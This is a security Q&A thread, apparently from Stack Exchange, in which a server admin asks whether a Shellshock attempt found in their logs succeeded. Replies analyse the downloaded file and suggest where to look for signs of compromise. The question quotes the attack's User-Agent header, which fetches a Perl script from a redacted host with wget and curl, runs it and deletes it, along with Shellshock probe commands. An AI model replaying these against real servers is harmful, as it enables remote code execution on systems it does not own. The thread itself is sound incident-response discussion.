8

I was looking through logs today and noticed the following: 

 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /tmp/bo.pl;curl -o /tmp/bo.pl http://[redacted]/bo.pl;chmod +x /tmp/bo.pl;perl /tmp/bo.pl;rm -rf /tmp/bo*\""

As I understand this is an attempt to scan the shellshock vulnerability. I retrieved the file loaded bo.pl - which contained the following...

<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://192.168.1.1/blocking.asp?cat_id=78">
</head>
<body></body>
</html>

Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.

I'm positive given that evidence that this was a malicious attack. The thing that worries me is the log shows 13501 for the response length. But when I tried to use the simple shellshock header to test the ability...

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

I only received the following log entry...

71.121.200.199 - - [26/Dec/2016:18:14:11 -0100] "GET / HTTP/1.1" 200 22 "-" "() { :; }; /bin/eject"

I also went to check the /tmp directory and found two files which don't exactly correspond to the time on the logs but they seem suspicious seeing as its a headless server and these appear to be linked to remote desktop services of some sort. 

-rw-r--r--  1 0 0    8 Dec 25 03:46 httpd_lua_shm.2693
drwxrwxrwt  2 0 0 4096 Dec 24 18:42 .ICE-unix

So my question is - does this appear to be a successful attack due to the fact that the bytes in the response are so large? Is there somewhere else I should be checking besides the bash history and such to look for clues to what happened?

h4ckNinja
  • 3,026
  • 16
  • 24
Twenty Five
  • 81
  • 4
  • The two files you show are normal files. A better test might be `curl -H "User-Agent: () { :; }; /bin/ls" http://example.com/` because if it works, it'll show you a directory listing on your server. – h4ckNinja Dec 27 '16 at 02:00
  • Thank you - I tried the command you recommended and it didn't seem to work. Which I'm assuming is a good sign. – Twenty Five Dec 27 '16 at 02:25
  • It returned... curl: (56) Recv failure: Connection reset by peer. However the response length is still 22 as before and that makes me wonder why the attack was 13501. I can't imagine any error return that would return such a large response. – Twenty Five Dec 27 '16 at 02:27
  • 4
    That content for `bo.pl` is not remotely perl. I suspect 'redacted' is a compromised machine the attacker was using which got detected and 'fixed' (by the owner or some intermediary) to try to give you an error page, but not quite right. Perhaps at the time your server received and executed the exploit `bo.pl` was still evil, and did something bad resulting in 13501 bytes. – dave_thompson_085 Dec 27 '16 at 06:57
  • So your analysis alludes that there was some sort of successful exploitation here? Do you have any suggestions as to where to check besides the command logs? – Twenty Five Dec 30 '16 at 21:47
  • Look at this. Is a similar attack using bo.pl , maybe could be useful for you: https://security.stackexchange.com/questions/104813/what-vulnerability-is-targeted-by-an-http-referer-starting-with-bin-bas – OscarAkaElvis Jan 27 '17 at 08:06

1 Answers1

1

Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.

The page that was returned when you requested http://[redacted]/bo.pl is a blocking page served up by your Asus WRT: https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/www/blocking.asp

["Home Protection", "78", "Malicious site blocked", "", "Sites used by malicious programs, including sites used to host upgrades or store stolen information."]

The bo.pl should have been a perl script. The attack attempted to download and execute it, then remove it from the system. If you have system execution logs, you should be able to see if it was run.

Try and do the same thing to your server. Only difference I see in your request is the HTTP version used (1 vs 1.1), so it may have served up a different amount of bytes.

Nick Simonian
  • 389
  • 2
  • 4